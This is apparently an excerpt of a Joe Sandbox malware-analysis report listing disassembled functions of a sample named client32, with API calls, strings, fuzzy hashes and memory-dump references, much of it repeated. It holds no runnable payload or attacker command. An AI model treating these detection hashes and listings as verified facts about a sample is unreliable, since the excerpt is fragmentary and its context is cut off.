Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad_memset
String ID: winscard.dll is NOT valid!!!
API String ID: 212038770-1939809930
Opcode ID: 2490663d4c0d4ec01f8a7efd0df3ebe9692d3296733f7b5ae7fba3cdb2ac2a80
Instruction ID: 57730f506c13caa9e6db9d6f73070caca170ae8d01d94efb838e03e2302413b1
Opcode Fuzzy Hash: 2490663d4c0d4ec01f8a7efd0df3ebe9692d3296733f7b5ae7fba3cdb2ac2a80
Instruction Fuzzy Hash: 6521B3B6D40629ABDB10CF95DC44EEFFBB8EB45660F00861AFC15A3340D631A904CBE0

Function 1100F2A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F2BB

Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612AE
Part of subcall function 11161299: __CxxThrowException@8.LIBCMT ref: 111612C3
Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612D4

std::_Xinvalid_argument.LIBCPMT ref: 1100F2D2

Strings

string too long, xrefs: 1100F2B6, 1100F2CD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 75f838df1ffa959431b4a62d365d349d8fd4399dcfd8cc9140359aaa01b8e6d6
Instruction ID: 9c03118c2fef7a30d7f16138fb3dcb5344bdbe7bcaefeaa8633fdbb4ef9eb1a5
Opcode Fuzzy Hash: 75f838df1ffa959431b4a62d365d349d8fd4399dcfd8cc9140359aaa01b8e6d6
Instruction Fuzzy Hash: E711E9737006148FF321D95DA880BAAF7EDEF957B4F60065FE591CB640C7A1A80083A1

Function 110232A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,?,?,00000100), ref: 110232D7
SetDlgItemTextA.USER32(?,?,?), ref: 1102335F

Strings

..., xrefs: 1102331A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemText
String ID: ...
API String ID: 3367045223-440645147
Opcode ID: 3c7fd1be2824b6022330b2e6fcbe42859dc36aafcf172dfa7595ecaab8fe21c6
Instruction ID: 288fafb08c6b2ba60c27d59f26b93e6fc9d809d534a4309207b318a271e26125
Opcode Fuzzy Hash: 3c7fd1be2824b6022330b2e6fcbe42859dc36aafcf172dfa7595ecaab8fe21c6
Instruction Fuzzy Hash: 1121A2756046199BCB24CF68C880FEAF7F9AF99304F1081D9E58997240DAB0AD85CF90

Function 110391C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 110CF130: GetDlgItem.USER32(?,000017DD), ref: 110CF18A
Part of subcall function 110CF130: ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
Part of subcall function 110CF130: GetWindowRect.USER32(00000000,?), ref: 110CF1DD
Part of subcall function 110CF130: GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
Part of subcall function 110CF130: GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276

Part of subcall function 110CB9E0: GetDlgItemTextA.USER32(?,?,?,00000400), ref: 110CBA0C
Part of subcall function 110CB9E0: SetDlgItemTextA.USER32(?,?,00000000), ref: 110CBA30

SetDlgItemTextA.USER32(?,000004BC,?), ref: 11039202
_memset.LIBCMT ref: 11039216

Strings

562258, xrefs: 1103922B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemText$Window$ObjectRectShow_memset
String ID: 562258
API String ID: 3037201586-1021968743
Opcode ID: 2bc1dfb5218c02c431ab83e71b2dcb76f085101561c9e5be1cea2ac4dddf3c12
Instruction ID: 4133adfa845279c2267cfda8ab6a139ff56e83a68c49f32f67e71b8829282469
Opcode Fuzzy Hash: 2bc1dfb5218c02c431ab83e71b2dcb76f085101561c9e5be1cea2ac4dddf3c12
Instruction Fuzzy Hash: E5119675740614AFE720DB68CC81FDAB7E8EF48704F004588F6089B280DBB1FA41CB95

Function 11002180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000), ref: 11002224
SetCursor.USER32(00000000), ref: 1100222B

Strings

RA, xrefs: 110021BF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Cursor$Load
String ID: RA
API String ID: 1675784387-580505616
Opcode ID: c3450d3e06a1438185447beb05588274eee249374333314c23ce9c317a90928d
Instruction ID: bc61da0bd6f20267eee6a2bdd2e53f6656b692f616fdfc42b9d5268c008fc473
Opcode Fuzzy Hash: c3450d3e06a1438185447beb05588274eee249374333314c23ce9c317a90928d
Instruction Fuzzy Hash: EB1184B8D081E6F6E709E6F5AC94B3A329C87843C5F40C835F885C9680DA3DE800F634

Function 1110B550 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1110B58F

Strings

Error code %d not sent to Tutor, xrefs: 1110B5E8
Error Code Sent to Tutor is %d, xrefs: 1110B575

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: Error Code Sent to Tutor is %d$Error code %d not sent to Tutor
API String ID: 2102423945-1777407139
Opcode ID: cb457852222b3d9b2bd104c4c917ff69952e9b88395c3a1b0ae6dfef815d539e
Instruction ID: b43b366142eeca4acab724c68f0e90673ee899940c55183fb17260b92f7d2313
Opcode Fuzzy Hash: cb457852222b3d9b2bd104c4c917ff69952e9b88395c3a1b0ae6dfef815d539e
Instruction Fuzzy Hash: 0911A07AA4111CABDB10DFA4CD51FEAF77CEF55308F1041DAEA085B240DA72AA14CBA5

Function 11096550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11096565

Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612AE
Part of subcall function 11161299: __CxxThrowException@8.LIBCMT ref: 111612C3
Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612D4

_memmove.LIBCMT ref: 11096594

Strings

vector<T> too long, xrefs: 11096560

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 2b11b4a62976d03dbe1a2d60c57ba794ffa8eb3dd1e129956f34f93b7f7fd68e
Instruction ID: d358ddf0df870076cc5f93b669e2da6c265d75c8f3dc5f3c9d6febbcbc9ac7f9
Opcode Fuzzy Hash: 2b11b4a62976d03dbe1a2d60c57ba794ffa8eb3dd1e129956f34f93b7f7fd68e
Instruction Fuzzy Hash: B601B5B1A002059FC724CEADDC90CA7B7EDEFD43187148A2EE45A87644DA71F904C750

Function 110D1540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,?,00000000), ref: 110D1572

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

pszBuffer[1024]==0, xrefs: 110D158A
..\CTL32\NSMString.cpp, xrefs: 110D1585

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 7c0d153cab71b8fe9f1bfbcba2addb4273ace9702d0da0492f16544c7bd503bd
Instruction ID: b89aa90761fb3a94205c41d70d04c41302f16292cd1454487622bd2b1eadc16a
Opcode Fuzzy Hash: 7c0d153cab71b8fe9f1bfbcba2addb4273ace9702d0da0492f16544c7bd503bd
Instruction Fuzzy Hash: 0EF0A975A0025DABCF00DEE4DC40BFEFBAC9B85208F40419DF945A7240DE706A45C7A5

Function 11015030 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001006,00000000,?), ref: 1101509D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11015044
m_hWnd, xrefs: 11015049

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 815180139f2bb1a06bb201446d8668dccf0e5584833ed039e0ec19942fc9e912
Instruction ID: f09b96a616f6a33d867b0b5af4e6941d1959c252ec7f828cb2a239631c18db6c
Opcode Fuzzy Hash: 815180139f2bb1a06bb201446d8668dccf0e5584833ed039e0ec19942fc9e912
Instruction Fuzzy Hash: 1701A2B1D10219AFCB90CFA9C8457DEBBF4AB0C310F10816AE519F6240E67556808F94

Function 11014390 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

ImageList_Create.COMCTL32(?,?,?,?,?), ref: 110143BE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

m_hImageList, xrefs: 110143D1
..\ctl32\imagelst.cpp, xrefs: 110143CC

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateErrorExitImageLastList_MessageProcesswsprintf
String ID: ..\ctl32\imagelst.cpp$m_hImageList
API String ID: 756090014-1731862680
Opcode ID: 07d921ffa2181537d20c18b6818c9ba3a9d0b657febdfe7dc916a1ba0a5e0468
Instruction ID: ed28c1bf2740c29e09f0e670a8a7b9fc6316d817cb7ee806623638b648209f33
Opcode Fuzzy Hash: 07d921ffa2181537d20c18b6818c9ba3a9d0b657febdfe7dc916a1ba0a5e0468
Instruction Fuzzy Hash: 50F062B1600719AFC320CF59D805A97B7E8EF98310B00852DF99AC3600D370E8508FA0

Function 11026220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,WTSQuerySessionInformationA), ref: 11026234
SetLastError.KERNEL32(00000078), ref: 11026261

Strings

WTSQuerySessionInformationA, xrefs: 1102622E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: WTSQuerySessionInformationA
API String ID: 199729137-4033149579
Opcode ID: baa88468955957b6059d11983daf5332bd6c471d9e11bd6bf7137641dae478ff
Instruction ID: 4c0ad6fd8419ebffd4c55594285f5a8fd2d3e56036ab3e38740d805351100f5e
Opcode Fuzzy Hash: baa88468955957b6059d11983daf5332bd6c471d9e11bd6bf7137641dae478ff
Instruction Fuzzy Hash: 8FF03A72A4062CAFD714DFA4D844E97B7E9FB48721F00861AF95997600D770E8108BA0

Function 11026270 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 1102628C
SetLastError.KERNEL32(00000078), ref: 110262AB

Strings

WTSFreeMemory, xrefs: 11026286

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: WTSFreeMemory
API String ID: 199729137-4124798068
Opcode ID: 530a1f113437d382cc4561dc9a8be7801c5ccfef9d809f7e8a4bd4cc1eb91108
Instruction ID: e97d27ce3b7ab54eb7811836018b8a0661f8d3204aa561733cbd10bce3554200
Opcode Fuzzy Hash: 530a1f113437d382cc4561dc9a8be7801c5ccfef9d809f7e8a4bd4cc1eb91108
Instruction Fuzzy Hash: 76F0EC72B427159FF7208F99E984745F7FCEF44722F10046AE951D3600C77468488BA0

Function 1115F340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetPropA.USER32(?,?,?), ref: 1115F395

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\wndclass.cpp, xrefs: 1115F350, 1115F36D
p->m_hWnd, xrefs: 1115F372

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
